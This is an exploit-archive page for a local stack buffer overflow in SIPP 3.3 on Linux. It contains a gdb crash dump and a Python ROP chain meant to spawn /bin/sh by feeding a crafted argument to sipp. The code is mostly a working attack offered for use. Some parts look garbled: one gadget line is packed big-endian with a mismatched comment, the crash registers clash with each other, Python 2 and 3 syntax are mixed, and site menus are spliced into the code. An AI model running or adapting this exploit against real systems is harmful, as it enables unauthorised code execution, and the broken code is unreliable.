



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

SIPP 3.3 - Stack-Based Buffer Overflow

EDB-ID:

45288

CVE:

N/A

EDB Verified: ✘

Author:

[JUAN SACCO](#)

Type:

[LOCAL](#)

Exploit:   / 

Platform:

[LINUX](#)

Date:

2018-08-29

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit Author: Juan Sacco <jsacco@exploitpack.com> -
http://exploitpack.com
#
# Tested on: Kali i686 GNU/Linux
#
# Description: SIPP 3.3 is prone to a local unauthenticated stack-based
overflow
# The vulnerability is due to an improper filter of user supplied input
while reading
# the configuration file and parsing the malicious crafted value.
#
# Program: SIPP 3.3 Traffic generator for the SIP protocol
# SIPP is a free Open Source test tool / traffic generator
# for the SIP protocol. Filename: pool/main/s/sipp/sipp_3.3-1kali2_i386.deb
#
# Vendor: http://sipp.sourceforge.net/
# gdb-peda$ checksec
# CANARY      : disabled
# FORTIFY     : disabled
# NX          : ENABLED
# PIE         : ENABLED
# RELRO       : Partial
#
#[-----registers-----]
# EAX: 0x41414141 ('AAAA')
# EBX: 0x25 ('%')
# ECX: 0xb7c9e340 --> 0x4cf8b0 ('A' <repeats 200 times>...)
# EDX: 0xb7c9e200 --> 0x0
# ESI: 0xb7ca0748 --> 0x0
# EDI: 0x0
# EBP: 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 --
>0xb7c9d000 --> 0x1d4d6c
# ESP: 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 --
>0xb7c9d000 --> 0x1d4d6c
# EIP: 0x43cdc2 (mov    eax,DWORD PTR [eax+0xc])
# EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPTdirection
overflow)
# [-----code-----]
# 0x43cdc2: call    0x4053e6
# 0x43cdc7: add     eax,0x50239
# 0x43cdcc: mov     eax,DWORD PTR [ebp+0x8]
# => 0x43cdc2: mov     eax,DWORD PTR [eax+0xc]
# 0x43cdd2: pop     ebp
# 0x43cdd3: ret
# 0x43cdd4: push   ebp
# 0x43cdd5: mov     ebp,esp
# [-----stack-----]
# 0000| 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 --
>0xb7c9d000 --> 0x1d4d6c
# 0004| 0xbfffc89c --> 0x43c159 (add     esp,0x10)
# 0008| 0xbfffc8a0 ("AAAA\377\377\377\377\310\310\377\277C\301C")
# 0012| 0xbfffc8a4 --> 0xffffffff
# 0016| 0xbfffc8a8 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 --
>0xb7c9d000 --> 0x1d4d6c
# 0020| 0xbfffc8ac --> 0x43c143 (add     eax,0x50ebd)
# 0024| 0xbfffc8b0 --> 0x597ba0 --> 0x0
# 0028| 0xbfffc8b4 --> 0xffffffff
# [-----]
# Legend: code, data, rodata, value
# Stopped reason: SIGSEGV
# 0x41414141 in ?? ()

```

```
import os, subprocess
```



```
from struct import pack
```

```
# rop execve ( bin/sh )
rop = "A"*2208 # junk
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop
ebp ; ret
rop += pack('<I', 0x0811abe0) # @ .data
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0807b744) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp
; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; popedi ;pop
ebp ; ret
rop += pack('<I', 0x0811abe4) # @ .data + 4
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0807b744) # pop eax ; ret
rop += '//sh'
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp
; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop
ebp ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp
; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
rop += pack('<I', 0x0811abe0) # @ .data
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x08067b43) # pop ecx ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop
ebp ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x0811abe0) # padding without overwrite ebx
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

rop += pack('>I', 0x00000000) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080c861f) # int 0x80

```

```

try:
    print("[*] SIPP 3.3 Buffer Overflow by Juan Sacco")
    print("[*] Please wait.. running")
    subprocess.call(["sipp ", rop])
except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "SIPP not found!"
    else:
        print "Error executing exploit"
        raise

```

Tags: [Local Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.